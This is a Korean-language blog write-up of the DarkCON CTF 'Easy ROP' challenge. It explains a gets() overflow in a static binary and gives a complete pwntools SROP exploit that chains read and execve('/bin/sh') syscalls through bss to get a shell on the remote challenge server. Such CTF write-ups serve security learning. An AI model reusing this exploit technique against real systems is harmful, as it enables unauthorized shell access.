Sechack

DarkCON CTF - Easy ROP 풀이 본문

CTF

DarkCON CTF - Easy ROP 풀이

Sechack 2021. 3. 5. 18:07
반응형

바이너리를 받자마자 ida로 까봤다.

 

gets함수 부분에서 버퍼 오버플로우가 발생한다. 정확한 offset파악을 위해 gdb로 main함수를 까보았다.

 

 

rbp-0x40부터 입력받는다. 그렇다면 0x48만큼 더미를 주면 rip를 변조할 수 있다. 바로 일반적인 rop페이로드 작성했다.

 

very easy하게 풀리는줄 알았으나

 

 

잉? 처음에는 단순히 심볼을 못읽나보다 생각하고 직접 구하려고 gdb를 다시 까봤다.

 

 

음... 뭔가 이상하다... 설마 하고 static인지 확인해봤더니...

 

 

설마가 사람잡는다. static이었다...ㅠ 그러면 전형적인 rop처럼 libc의 execve나 system함수를 호출할 수 없다. 쉘코드 삽입은 nx때문에 안될것같고 syscall을 활용해야할것같았다. 순간 머릿속에서 드림핵에서 본 srop기법이 떠올랐다. sigreturn system call은 커널모드에서 유저모드로 넘어올때 스택에 저장된 레지스터 정보들을 다시 복구하는데 사용한다 했는데 이걸 스택을 조작한 후에 호출하게 되면 우리가 원하는 값들을 레지스터에 넣을 수 있게 되면서 레지스터를 컨트롤할 수 있는 기법이다. 이 기법을 이용해서 레지스터를 컨트롤해가며 syscall들을 체이닝 하면 될것같았다.

 

일단 시나리오는 먼저 read(0, bss, 1000)를 syscall을 이용하여 호출해서 페이로드를 bss에 입력받을 수 있게 한다. (이 과정에서 rsp도 bss의 주소로 변조하므로 syscall이 끝나면 bss로 리턴되게 된다. 따라서 bss에 삽입된 페이로드가 실행될 수 있다,)

 

그리고 bss에 execve("/bin/sh", 0, 0)을 syscall하는 페이로드를 작성하면 셸이 따일것이다.

문제는 "/bin/sh"를 어디다 넣고 사용할것이냐인데 두번째 syscall에서 페이로드는 bss에 들어가니까 payload뒤에다가 넣고 참조해서 쓰면 될것같다.

bss + offset꼴로 "/bin/sh"를 참조하면 된다. 아래는 전체 페이로드이다.

 

from pwn import *

context.clear(arch='amd64')
#context.log_level = 'debug'

#p = process("./easy-rop")
r = remote("65.1.92.179", 49153)
e = ELF("./easy-rop")
bss = e.bss()
pop_rax = 0x4175eb 
syscall = 0x4780c9

frame = SigreturnFrame()
frame.rax = 0
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss

payload = b"A"*0x40
payload += b"B"*0x8
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
payload += bytes(frame) 

r.sendlineafter(":", payload)

frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b
frame2.rdi = bss + 0x110
frame2.rsi = 0x0
frame2.rdx = 0x0

rop = p64(pop_rax)
rop += p64(15)
rop += p64(syscall)
rop += bytes(frame2)
rop += b"/bin/sh\x00"

sleep(0.5)
r.send(rop)

r.interactive()

 

pwntools의 SigreturnFrame클래스를 사용하였다. 원래같으면 sigcontext구조체 보면서 스택을 변조했을텐데 pwntools가 알아서 페이로드를 만들어준다. 알면알수록 pwntools는 편리한것 같다.

/bin/sh문자열을 참조할때 bss + 0x110을 참조하는데 이 오프셋은 gdb에서 직접 구했다.

 

 

보시다시피 bss + 0x110의 위치에 /bin/sh문자열이 존재하는걸 볼 수 있다.

어쨌든 srop기법을 사용해서 익스를 하였다. 익스플로잇 코드를 실행하면

 

 

셸이 따이게 된다.

 

굳이 execve syscall페이로드 부분을 bss에 넣어준건 /bin/sh문자열도 bss에 함께 넣기 위해서였다. 그냥 스택에 넣으면 스택주소 leak이 필요하니...

 

근데 다 풀고나서 보니까 sigreturn을 굳이 쓸필요가 없었다. pop rax, pop rdi, pop rsi, pop rdx, syscall 전부 가젯이 있었다.

그냥 가젯 이용해서 바로 execve를 syscall하면 되는거였다...

반응형
Comments